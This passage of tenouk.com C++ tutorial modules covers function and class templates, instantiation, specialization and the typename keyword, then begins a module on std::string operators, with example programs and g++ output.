USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

Output:

www.tenouk.com
- Example compiled using g++.

//***************namespace.cpp**************/
//demonstrates the use of function prototypes
//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

//without using namespace std globally, you have to


//explicitly use the std for every occurrences of the...
std::cout<< "\nThe wide of your yard(meter)? ";
std::cin>> widthOfYard;
std::cout<< "\nThe long of your yard(meter)? ";
std::cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

std::cout<< "\nYour yard is ";


std::cout<< areaOfYard;
std::cout<< " square meter\n\n";

return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

[bodo@bakawali ~]$ g++ namespace.cpp -o namespace


[bodo@bakawali ~]$ ./namespace

The wide of your yard(meter)? 200

The long of your yard(meter)? 10

Your yard is 2000 square meter

------------------------------------------------o0o----------------------------------------------

Further reading and digging:

1. Check the best selling C / C++ books at Amazon.com.


2. Standards: The C / C++ standards references (ISO/IEC is covering ANSI and is more general):
a. ISO/IEC 9899 (ISO/IEC 9899:1999) - C Programming languages.
b. ISO/IEC 9945:2002 POSIX standard.
c. ISO/IEC 14882:1998 on the programming language C++.
d. ISO/IEC 9945:2003, The Single UNIX Specification, Version 3.
e. Get the GNU C library information here.

www.tenouk.com
f. Read online the GNU C library here.

www.tenouk.com
MODULE 24
TEMPLATE
This type, that type, so many types,
No more type!
GENERIC TYPES

My Training Period: hours

Some notes:

- Well, you have completed the wave of the procedural programming then object oriented
programming. In order to complete your C and C++ journey, this Module will introduce you the
generic programming.
- This Module just to introduce you what the template is. The main task is to learn how to use and
manipulate the STL components later.
- This Module may be very useful if you want to create our own template but at the same time it
should provide us with a good understanding of the template itself.
- Compiler used in this Module is Visual Studio .Net® 2003 because many of the C++ features
do not supported by some of the lousy compilers included Visual Studio/C++ 6.0® with Service
Pack 6 (SP6) :o) g++ (GNU C++) example is given at the end of this Tutorial. With g++, you will
be warned if there are outdated and danger constructs in your programs :o).
- The moral of this very short story is: if you want to develop programs that use many of the C++
features and don’t want to get cheated by the compiler, use fully ISO/IEC C++ compliance
compiler.
- You can see that many times naïve programmers have been cheated by the compiler! You think
there is something wrong with your codes, but the compiler itself does not have the capabilities to
understand your codes :o) or your codes really have bugs :o).
- This Module and that follows supposed to make our tasks in programming smoother, easier, safer
and more productive :o).
- Get a good understanding of the templates so that it is easier for you to use them in the next
Modules.

Abilities

▪ Able to understand and appreciate a Template.


▪ Able to understand and use Function Template.
▪ Able to understand and use Class Template.
▪ Able to understand and use Template instantiation.
▪ Able to understand and use explicit and implicit instantiation.
▪ Able to understand and use Template Specialization.
▪ Able to understand and use Template Partial Specialization.
▪ Able to understand and use the keyword typename.

24.1 Introduction

- Many real applications use common data structure routines such as list, sort, and queue. A program
may require a List of name and another time, a List of messages. So we can create a List of name
program, and then reuse the existing code to create a List of messages program. Next time we may
need another List of address etc. Again we copy the List of messages program. These situations
happen again and again.
- If we need to change the original codes, the other codes also may need changes; at the beginning we
also have to change the codes regarding the data type because name and messages may implement
different data type. It will become headache isn’t it?
- It is wiser to create a List program that contains an arbitrary data type that is ready for many data
types because the List routine should be the same. This is called parameterized or generic data
type, commonly referred to as template. Notice that the word data type or type. This is the word
that we are concern about regarding why the template ‘creature’ exists.
- Template extends the concepts of the reusability. In the List example, template allows us to
implement something like a generic List as shown below, where the any_data_type is its type
parameter.

List<any_data_type>

www.tenouk.com Page 1 of 18
- Then any_data_type can be replaced with actual types such as int, float, name,
messages, address etc as shown below.

List<int>
List<name>
List<messages>

- When the changes implemented in the

List<any_data_type>

- Then it should immediately reflected in the other classes, List<int>, List<name> etc.
- Templates are very useful when implementing generic constructs such as lists, stacks, queues,
vectors etc which can be used in any arbitrary data type. These generic constructs normally found
in data structure, search routines and database applications.
- Designing a type-independent class enables users to choose the desired data type for specific
application without having to duplicate code manually. Furthermore, type independent classes
should be portable among different locales and platforms.
- It provides source code reusability whereas inheritance provides object code reusability.
- Furthermore, almost all part of the C++ Standard Library is implemented using templates.
- Generally, templates are functions or classes that are written for one or more types not yet specified.
When you use a template, you pass the types as arguments, explicitly or implicitly.
- Basically, there are two kinds of templates:

1. Function template.
2. Class template.

- For example, the Standard Template Library (STL) generic Algorithm has been implemented using
function templates whereas the Containers have been implemented using class template.
- We will go through the algorithm and container more detail in another Module later on.

24.2 Function Template

- Use to perform identical operations for each type of data.


- Based on the argument types provided in the calls to function, the compiler automatically
instantiates separates object code functions to handle each type of call appropriately.
- The STL algorithms for example, are implemented as function templates.
- A function template declaration contains the keyword template, followed by a list of template
parameters and function declaration. The definition of a function template should follow its
declaration immediately as opposed to normal functions.
- For examples:

#include <iostream>
using namespace std;

//function declaration and definition


template <class any_data_type>
any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
//if var1 is bigger than Var2, then Var1 is the maximum
return Var1 > Var2 ? Var1:Var2;
}

- If you have noticed, other than the red color line of code, it is same as normal function.

24.2.1 Function Template Instantiation

- Using function templates is similar to normal function. When the compiler sees an instantiation of
the function template, for example, the call of the MyMax(10, 20) in function main(), the
compiler generates a function MyMax(int, int).
- Hence, it should be similar for other data type such as MyMax(double, double) and
MyMax(char, char).

#include <iostream>
using namespace std;

www.tenouk.com Page 2 of 18
//function template declaration and definition
template <class any_data_type>
any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1> Var2 ? Var1:Var2;
}

int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;

//some logical error here?


cout<<"\nLogical error, comparing pointers not the string..."<<endl;
char* p = "Function";
char* q = "Template";

cout<<"Address of *p = "<<&p<<endl;
cout<<"Address of *q = "<<&q<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(p,q)<<endl;
cout<<"Should use Specialization, shown later..."<<endl;
return 0;
}

Output:

24.3 Class Template

- A class template definition look likes a regular class definition, except the keyword template and
the angle brackets < >.
- It is declared using the keyword template, followed by a template parameter list enclosed in
angle brackets and then a declaration and/or a definition of the class.
- For example, the following code segment is a class template definition for MyStack. This is not a
STL Stack but our non standard stack template presented just for discussion.
- If you notice, other than the red color line of code, it is same as normal class, isn’t it?

template <class any_data_type>


class MyStack
{
private:
//number of the stack’s element
int size;
//top position
int top;
//data type pointer
any_data_type* StackPtr;

public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size – 1;}

www.tenouk.com Page 3 of 18
};

- For your information, the top of the stack is the position occupied by the most recently added
element and it should be the last element at the end of the container.
- A simple stack is illustrated below. The real story of stack construction during the function call can
be read in Module W.

- Another example of the template declaration:

template <class any_data_type>


class Vector
{
private:
any_data_type *buffer;
//copy constructor
Vector<any_data_type> (const Vector <any_data_type> &Var1)
//overloaded assignment operator
Vector<any_data_type>& operator=(const Vector<any_data_type>& Var2)
//destructor
~Vector<any_data_type>();
//other member functions…
any_data_type& operator [ ] (unsigned int index);
const any_data_type& operator [ ] (unsigned int index) const;
}

- As in class definition, member functions for class template also can be defined outside the class
body. For example:

//destructor definition
template <class any_data_type>
MyStack<any_data_type >::~MyStack()
{delete [ ] StackPtr;}

- Or

//constructor definition
template <class any_data_type>
MyStack<any_data_type>::MyStack()

- any_data_type is data type template parameter and it can be any data type. It acted as a
placeholder for future use; currently its types are not yet specified. For example:

MyStack<MyClass>

- Where MyClass is user defined class. any_data_type also does not have to be a class type or a
user defined type as shown in the following example.

MyStack<float>
MyStack<MessagePtr*>

- Or in totally generic form as shown below. Keep in mind that the typename is a keyword in C++
and explained at the end of this Module.

template <typename any_data_type>


class Vector
{ }

www.tenouk.com Page 4 of 18
24.3.1 Class Template Parameters

- A template can take one or more type parameters which are the symbols that currently represent
unspecified types. For example:

template <class any_data_type>


class Vector
{ }

- Here, any_data_type is a template parameter, also referred as type parameter.


- Another example:

template <class any_data_type, int p>


class Array
{ }

- The any_data_type and p are template parameters.


- When an ordinary type is used as parameter, the template argument must be a constant or a
constant expression of an integral type. For example:

int num = 100;


const int Var1 = 10;

//should be OK, Var1 is a const


Array<float, Var1> Test;

//should be OK, 10 is a const


Array<char, 10> Test1;

//should be OK, constant expression been used


Array<unsigned char, sizeof(float)> Test2;

//Not OK, num is not a constant


Array<int, num> Test3;

- Besides the constant expressions, the only other arguments allowed are a pointer to a non-
overloaded member, and the address of an object or a function with external linkage.
- A template can take a template as an argument. For example:

int ReceiveMsg(const Vector<char*>&);


int main()
{
//a template used as an argument
Vector <Vector<char*> > MsgQ(20);

//other codes….

//receive messages
for(int j = 0; j < 20; j++)
ReceiveMsg(MsgQ[j]);
return 0;
}

- Notice the space between the right two angle brackets, it should be mandatory as shown below to
avoid the misinterpret of the right shift operator >>.

Vector <Vector<char*> > MsgQ(20);

24.3.2 Default Type Arguments

- Class template can have default type argument same as normal class. It provides flexibility for
programmer to suit her/his needs. For example the STL Vector class template, the default type
size_t is used but the programmer is free to choose other suitable data types instead.

template <class any_data_type, class S = size_t>


class Vector
{ };
//second argument default to size_t
Vector <int> TestVar;

www.tenouk.com Page 5 of 18
Vector <int, unsigned char> short(7);

- Another example of the default template argument:

template <class any_data_type = float, int element = 10>


MyStack{};

- Hence, the following declaration:

MyStack<> Var1;

- Would instantiate at compile time a 10 element MyStack template class named Var1 of type
float. This template class would be of type:

MyStack<float, 10>

- For template specialization (will be discussed later), default arguments cannot be specified in a
declaration or definition. For example:

#include <iostream>
using namespace std;

//primary template with default parameter


template <class any_data_type, int size>
class MyStack
{};

//specialization declaration and definition


//with default arguments
//will generate error...
template <class any_data_type, int size=100>
class MyStack<int,100>
{};

//do some testing


int main()
{
MyStack<float,100> Var1;
return 0;
}

- Let try a simple template program skeleton.

//simple class template program example


//------declaration and definition part--------
template <class any_data_type>
class MyStack
{
private:
//number of the stack's element
int size;
//top position
int top;
//data type pointer
any_data_type* StackPtr;

public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size - 1;}

};

//----the main() program--------


int main()
{

www.tenouk.com Page 6 of 18
return 0;
}

Output:

24.3.3 Member Function Templates

- Member functions of non template classes may be templates. However, member templates cannot
be virtual, nor may they have default parameters. For example:

//normal class
class MyClass
{
//...
//but, have template member function...
template <class any_data_type>
void MemberFunct(any_data_type)
{};
};

int main()
{
return 0;
}

- Here, MyClass::MemberFunct() declares a set of member functions for parameters of any


type. You can pass any argument as long as its type provides all operations used by
MemberFunct().

24.3.4 Nested Template Classes

- Nested classes may also be templates as shown below:

template <class any_data_type>


class MyClass
{
//...
//nested class template
template <class another_data_type>
class NestedClass
{};
//...
};

int main()
{ return 0; }

24.4 Class Template Instantiation

- A template instantiation is a process of instantiate a real class from a template for our real usage.
It provides general class template with potentially infinite data types.
- The following is a program example of a class template instantiation. It is bundled in one program,
one file for our study convenience.

#include <iostream>
using namespace std;

//-------class template declaration part---


//-------test.h-----
template <class any_data_type>
class Test
{
public:
//constructor
Test();
//destructor

www.tenouk.com Page 7 of 18
~Test();
//function template
any_data_type Data(any_data_type);
};

template <class any_data_type>


any_data_type Test<any_data_type>::Data(any_data_type Var0)
{return Var0;}

//------class template definition part--------


//----should be in the same header file with--
//----the class template declaration------
//constructor
template <class any_data_type>
Test<any_data_type>::Test()
{cout<<"Constructor, allocate..."<<endl;}

//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}

//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;

cout<<"\nOne template fits all data type..."<<endl;


cout<<"Var1, int = "<<Var1.Data(100)<<endl;
cout<<"Var2, double = "<<Var2.Data(1.234)<<endl;
cout<<"Var3, char = "<<Var3.Data('K')<<endl;
cout<<"Var4, char* = "<<Var4.Data("The class template")<<"\n\n";
return 0;
}

Output:

- When repackaging the template class, the implementation of the class template is slightly different
from the normal class. As mentioned before, the declaration and definition part of the class
template member functions should all be in the same header file.
- For the previous program example, the repackaging is shown below.

#include <iostream>
using namespace std;

//-------class template declaration part---


//-------test.h file-----
template <class any_data_type>
class Test
{
public:
//constructor

www.tenouk.com Page 8 of 18
Test();
//destructor
~Test();
//function template
any_data_type Data(any_data_type);
};

template <class any_data_type>


any_data_type Test<any_data_type>::Data(any_data_type Var0)
{return Var0;}

//------class template definition part--------


//----should be in the same header file with--
//----the class template declaration------
//constructor
template <class any_data_type>
Test<any_data_type>::Test()
{cout<<"Constructor, allocate..."<<endl;}

//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}
//do not run this program
//make sure there is no error such as typo etc

- And the main() program is shown below.

//----test.cpp file------------
//---compile and run this program----
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;

cout<<"\nOne template fits all data type..."<<endl;


cout<<"Var1, int = "<<Var1.Data(100)<<endl;
cout<<"Var2, double = "<<Var2.Data(1.234)<<endl;
cout<<"Var3, char = "<<Var3.Data('K')<<endl;
cout<<"Var4, char* = "<<Var4.Data("The class template")<<"\n\n";
return 0;
}

Output:

- While implementing a class template member functions, the definitions are prefixed by the keyword
template < >.
- The compiler generates a class, function or static data members from a template when it sees an
implicit instantiation or an explicit instantiation of the template. The following program example is
an implicit instantiation of a class template.

#include <iostream>

www.tenouk.com Page 9 of 18
using namespace std;

template <class any_data_type>


class Test
{
public:
//constructor
Test(){};
//destructor
~Test(){};
//member function templates...
any_data_type Funct1(any_data_type Var1)
{return Var1;}
any_data_type Funct2(any_data_type Var2)
{return Var2;}
};

//do some testing


int main()
{
//Implicit instantiation generates class Test<int>...
Test<int> Var1;
//Implicit instantiation generates class Test<double>...
Test<double> Var2;

cout<<"Implicit instantiation..."<<endl;
//and generates function Test<int>::Funct1()
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
//and generates function Test<double>::Funct2()
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}

Output:

- From the program example, the compiler generates Test<int> and Test<double> classes and
Test<int>::Funct1() and Test<double>::Funct2() function definitions.
- The compiler does not generate definitions for functions, non virtual member functions, class or
member class that does not require instantiation.
- In the program example, the compiler did not generate any definition for
Test<int>::Funct2() and Test<double>::Funct1(), since they were not required.
- The following is a program example of an explicit instantiation of a class template.

#include <iostream>
using namespace std;

template <class any_data_type>


class Test
{
public:
//constructor
Test(){};
//destructor
~Test(){};
//member functions...
any_data_type Funct1(any_data_type Var1)
{return Var1;}
any_data_type Funct2(any_data_type Var2)
{return Var2;}
};

//explicit instantiation of class Test<int>


template class Test<int>;
//explicit instantiation of class Test<double>
template class Test<double>;

//do some testing

www.tenouk.com Page 10 of 18
int main()
{
Test<int> Var1;
Test<double> Var2;
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}

Output:

24.5 Function Template Instantiation

- The following program examples are implicit and explicit instantiation of function templates
respectively.

//implicit instantiation
#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1 > Var2 ? Var1:Var2;
}

//do some testing


int main()
{
int p;
char q;
p = MyMax(100, 200);
q = MyMax('k', 'K');

//implicit instantiation of MyMax(int, int)


cout<<"MyMax(100, 200) = "<<p<<endl;
//implicit instantiation of MyMax(char, char)
cout<<"MyMax('k', 'K') = "<<q<<endl;
return 0;
}

Output:

//explicit instantiation
#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type Test(any_data_type Var1)
{
return Var1;
}

//explicit instantiation of Test(int)


template int Test<int>(int);

//do some testing


int main()
{
cout<<"Var1 = "<<Test(100)<<endl;
return 0;

www.tenouk.com Page 11 of 18
}

Output:

- Instantiating the virtual member functions of a class template that does not require instantiation is
implementation defined.
- For example, in the following example, virtual function
TestVirt<any_data_type>::Test() is not required, compiler will generate a definition
for TestVirt<any_data_type>::Test().

#include <iostream>
using namespace std;

template <class any_data_type>


class TestVirt
{
public:
virtual any_data_type TestFunct(any_data_type Var1)
{return Var1;}
};

//do some testing


int main()
{
//implicit instantiation of TestVirt<int>
TestVirt<int> Var1;

cout<<"Var1.TestFunct(100) = "<<Var1.TestFunct(100)<<endl;
return 0;
}

Output:

24.6 Class Template Specialization

- A specialization consists of a template name followed by a list or arguments in angle brackets and
it is a specialize class template instantiation.
- When we instantiate the class template, from a general class template, we make the class template
special to suit our specific programming tasks.
- A specialization can be used exactly like any other normal class and here, compiler will generate a
specialized concrete instance from the generic of the templates. For examples:

//an object instantiation


Vector<int> Var;

//as function parameter


int Funct(Vector <float>&);

//used in sizeof expression


size_t p = sizeof(Vector <char>);

//used in class object instantiations


class MyTestVector: private Vector<std::string>
{ };
Vector <Date> Var1;
Vector <string> Var2;

www.tenouk.com Page 12 of 18
- The compiler actually instantiates only the necessary member functions of a given specialization or
generate when there is a request.

24.7 The Primary, Partial and Specialization Class Template

- For example again, let take a look at the max() function of the STL by recreating our own version
and name it MyMax().
- This general class template is called Primary Template. It should suit to all data types. For
example:

#include <iostream>
#include <string>
using namespace std;

template <class any_data_type>


inline any_data_type MyMax(const any_data_type& Var1, const any_data_type& Var2)
{
cout<<"Checking..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

//do some testing


int main()
{
int Highest = MyMax(7, 20);
char p = MyMax('x' , 'r');
string Str1 = "Class", Str2 = "Template";
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;


cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is
"<<MaxStr<<"\n\n";

const char *Var3 = "Class";


const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);

cout<<"Logical error, comparing the pointer, not the string..."<<endl;


cout<<"Address of the *Var3 = "<<&Var3<<endl;
cout<<"Address of the *Var4 = "<<&Var4<<endl;
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
cout<<"Need specialization here..."<<endl;
return 0;
}

Output:

24.7.1 Implementing The Specialization

- The primary template should be generic to a potentially infinite set of template arguments.
Actually, we can narrow down these generic arguments to our specific needs and refer it as user
defined specialization or explicit specialization. Implicitly, instantiation should be invoked
automatically for the specified data types.

www.tenouk.com Page 13 of 18
- Specialization explicitly fixes all template parameters to a unique template argument. Template
specialization will override the template generated code by providing special definitions for specific
types.
- An explicit specialization looks like a normal template definition except that it must appear after its
primary template.
- From the previous example, let define specialization for the const char * of the last part of the
program example.
- Firstly we have to replace every occurrence of any_data_type in the specialization with const
char *. The template parameter list also should be empty as shown below:

#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;

//primary template, for all type


template <class any_data_type>
any_data_type MyMax(const any_data_type Var1, const any_data_type Var2)
{
cout<<"Primary template..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

//specialization for const char *, empty parameter list


template <>
const char *MyMax(const char *Var1, const char *Var2)
{
cout<<"Specialization..."<<endl;
//comparison for const char *
return (strcmp(Var1, Var2)<0) ? Var2 : Var1;
}

//do some testing


int main()
{
//call primary
int Highest = MyMax(7, 20);
//call primary
char p = MyMax('x' , 'r');
string Str1 = "Class", Str2 = "Template";
//call primary
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;


cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is
"<<MaxStr<<"\n\n";

//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}

Output:

24.7.2 Partial Specialization

www.tenouk.com Page 14 of 18
- Between the primary (general) and the specific specialization, is called partial specializations.
This specialization partially fixes their template parameter which applies to a subset of types. It
should suit to a portion of data types.
- For example we can define a general template called Test<any_data_type>, a partial
specialization called Test<any_data_type*> that applies to pointers and a specialization
Test<const char*> that applies to const char* exclusively.
- Program example:

#include <iostream>
using namespace std;

//general, justice for all type:-)


template <class any_data_type>
any_data_type Test(any_data_type Var1)
{return Var1;}

//partial specialization for all pointers type


template <class any_data_type>
any_data_type * Test(any_data_type *Var2)
{return Var2;}

//specialization, just for const char *


template <>
const char * Test(const char *Var3)
{return Var3;}

//do some testing


int main()
{
int p = 5;
//calls Test(any_data_type
int q = Test(p);
double r = Test(3.1234);

cout<<"General types = "<<q<<endl;


cout<<"General types = "<<r<<endl;

//calls Test(any_data_type*)
int *s = Test(&p);
char *t = "Partial lor!";
cout<<"Partial types = "<<s<<endl;
cout<<"Partial types = "<<t<<endl;

//calls Test(const char *)


const char *u = Test("Specialized!");
cout<<"Specialization type = "<<u<<endl;
return 0;
}

Output:

24.7.3 Template Function Specialization

- As for class template, function template also has specialization.


- Program example:

#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1 > Var2 ? Var1:Var2;

www.tenouk.com Page 15 of 18
}

//specialization of MyMax() for char *


template<>
char* MyMax(char* Var3, char* Var4)
{
return strcmp(Var3,Var4)> 0 ? Var3:Var4;
}

int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
char* Var3 = "Function";
char* Var4 = "Template";
cout<<"\nTesting...."<<endl;
cout<<"Address of *Var3 = "<<&Var3<<endl;
cout<<"Address of *Var4 = "<<&Var4<<endl;

cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(Var3,Var4)<<endl;
return 0;
}

Output:

24.8 typename Keyword

- You may encounter this keyword somewhere, sometime. The keyword typename is used to
specify the identifier that follows is a type.
- In other word, typename keyword tells the compiler that an unknown identifier is a type.
Consider the following example:

template <class any_data_type>


class MyClass
{
typename any_data_type::another_data_type * ptr;
//...
};

int main()
{
return 0;
}

- Here, typename is used to clarify that another_data_type is a type of class


any_data_type. Thus, ptr is a pointer to the type
any_data_type::another_data_type. Without typename, another_data_type
would be considered a static member. Hence,

any_data_type::another_data_type * ptr

- Would be interpreted as a multiplication of value another_data_type of type


any_data_type with ptr.
- According to the qualification of another_data_type being a type, any type that is used in
place of any_data_type must provide an inner type of another_data_type. For example,
the use of type Test as a template argument

www.tenouk.com Page 16 of 18
MyClass<Test> x;

- Is possible only if type Test has an inner type definition such as the following:

class Test
{
typedef int another_data_type;
...
};

- In this case, the ptr member of MyClass<Test> would be a pointer to type int. However, the
another_data_type could also be an abstract data type such as a class as shown below.

class Test
{
class another_data_type;
...
};

- typename is always necessary to qualify an identifier of a template as being a type, even if an


interpretation is not a type.
- Thus, the general rule in C++ is that any identifier of a template is considered to be a value, except
it is qualified by typename keyword, then it is a type.
- Apart from this, typename can also be used instead of class in a template declaration:

template <typename any_data_type>


class MyClass
{};

- Well, now you may be ready to create your own template or just proceed to the next Modules, see
how these templates used to construct the C++ headers and how to use other readily available class
or function templates in your programs.
- The following is a program example compiled using g++ on Fedora 3 machine.

//*******template.cpp**********
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;

//primary template, for all type


template <class any_data_type>
any_data_type MyMax(const any_data_type Var1, const any_data_type Var2)
{
cout<<"Primary template..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

//specialization for const char *, empty parameter list


template <>
const char *MyMax(const char *Var1, const char *Var2)
{
cout<<"Specialization..."<<endl;
//comparison for const char *
return (strcmp(Var1, Var2)<0) ? Var2 : Var1;
}

//do some testing


int main()
{
//call primary
int Highest = MyMax(7, 20);
//call primary
char p = MyMax('x', 'r');
string Str1 = "Class", Str2 = "Template";
//call primary
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;

www.tenouk.com Page 17 of 18
cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is
"<<MaxStr<<"\n\n";

//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ template.cpp -o template


[bodo@bakawali ~]$ ./template

Primary template...
Primary template...
Primary template...
The bigger between 7 and 20 is 20
The bigger between 'x' and 'r' is x
The bigger between "Class" and "Template" is Template

Specialization...
The bigger between "Class" and "Template" is Template

-------------------------------------------o0o-----------------------------------------------

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 18 of 18
MODULE 25
C++ CHARACTER AND STRING
MANIPULATION PART I

My Training Period: hours

Note:
Program examples in this Module compiled using Visual C++ 6.0 with SP6 and Visual C++ .Net. g++ (GNU C++
run on my Fedora 3 machine) example is given at the end of this Module. Take note also for the codes that span
more than one line, which they are not supposed to.

Abilities

▪ Able to understand and appreciate how the templates are used.


▪ Able to understand and use the template based C++ headers.
▪ Able to understand and use string template classes in manipulating character and string in C++.
▪ Able to understand and use the basic_string template class.
▪ Able to recognize the Containers, Iterators and Algorithms.

25.1 Introduction

- Before we ‘jump’ into the real STL ‘bandwagon’, let try the <string> C++ Standard Library. This
library is constructed using template classes and functions.
- In this Module take note for these words: container, iterator and algorithm. See how these things
used in the program examples.
- We will discuss these ‘creatures’ in more detail later on. May be after completing this Module, you
may develop your own simple search routine :o) program.
- Your main task here is ‘learn how to use’.

25.2 <string> C++ Standard Library

- <string> defines the container template class basic_string and various supporting templates.
You must include the <string> header in your program as shown below.

#include <string>

- The C++ language supports two types of strings:

▪ Null-terminated character arrays often referred to as C strings and,


▪ Template class objects, of type basic_string that handles all char-like template arguments.

25.3 <string> Typedefs

- The following table is a list of the <string> typedefs.

Type Description
string
A type that describes a specialization of the
typedef basic_string<char>
string; template class basic_string with elements
e.g. of type char as a string. This means
const basic_string <char> basic_string<char> is synonym to
str1("TEST"); string.
or
string str2("TEST");
wstring
A type that describes a specialization of the
typedef template class basic_string with elements
basic_string<wchar_t> of type wchar_t as a wstring. This means
wstring; basic_string<wchar_t> is synonym to
e.g. wstring. This is wide char, normally 2 byte
const basic_string <wchar_t> such as Unicode character set (more information
str1(L"EST"); on this is discussed HERE and the
or implementation is HERE).
wstring str2(L"EST");

www.tenouk.com Page 1 of 38
Table 25.1 string and wstring typedefs

//char and wchar_t types


#include <string>
#include <iostream>
using namespace std;

int main( )
{
const basic_string <char> str1("TEST");
//Uses the typedef for string word
//synonym to basic_string <char>
string str2("TEST");

//simple comparison between two


//objects of type basic_string
cout<<"String str1: "<<str1<<"\nString str2: "<<str2<<endl;
cout<<"Operation: (str1 == str2)"<<endl;
if(str1 == str2)
cout<<"Strings str1 & str2 are equal."<<endl;
else
cout<<"Strings str1 & str2 are not equal."<<endl;

//L - literal qualifier, long


const basic_string <wchar_t> str3(L"TESTING");
//Uses the typedef for wstring word
//synonym to basic_string <wchar_t>
wstring str4(L"JUMPING");

//simple comparison between two objects


//of type basic_string <wchar_t>
cout<<"\nString str3: TESTING \nString str4: JUMPING"<<endl;
cout<<"Operation: (str3 == str4)"<<endl;
if(str3 == str4)
cout<<"Strings str3 & str4 are equal."<<endl;
else
cout<<"Strings str3 & str4 are not equal."<<endl;
return 0;
}

Output:

25.4 <string> Operators

- String operators are overloaded operators.


- The comparison between string objects is based on what is called a pairwise lexicographical
comparison of their characters. Two strings are equal if they have the same number of characters and
their respective character values are the same. Otherwise, they are unequal.
- A lexicographical comparison between strings compares them character by character until:

▪ It finds two corresponding characters unequal, and the result of their comparison is taken as the
result of the comparison between the strings.
▪ It finds no inequalities, but one string has more characters than the other, and the shorter string is
considered less than the longer string.
▪ It finds no inequalities and finds that the strings have the same number of characters, and so the
strings are equal.

- The following table is a list of string operators.

www.tenouk.com Page 2 of 38
Operator Brief Description
operator!= Tests if the string object on the left side of the operator is not equal
str1 != str2 to the string object on the right side.
operator== Tests if the string object on the left side of the operator is equal to
str1 == str2 the string object on the right side.
operator< Tests if the string object on the left side of the operator is less than
str1 < str2 to the string object on the right side.
operator<<
same as in iostream, e.g. A template function that inserts a string into the output stream.
cout<<
operator<= Tests if the string object on the left side of the operator is less than
str1 <= str2 or equal to the string object on the right side.
operator> Tests if the string object on the left side of the operator is greater
str1 > str2 than to the string object on the right side.
operator>= Tests if the string object on the left side of the operator is greater
str1 >= str2 than or equal to the string object on the right side.
operator>>
same as in iostream, e.g. A template function that extracts a string from the input stream.
cin>>
operator+
string str13 = str1 + Concatenates two string objects.
str3

Table 25.2: string operators

- Some of the program examples using string operators.

//== and != operators


#include <string>
#include <iostream>
using namespace std;

int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
char *str3 = "testingone";
cout<<"C-style str3 string is = "<<str3<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
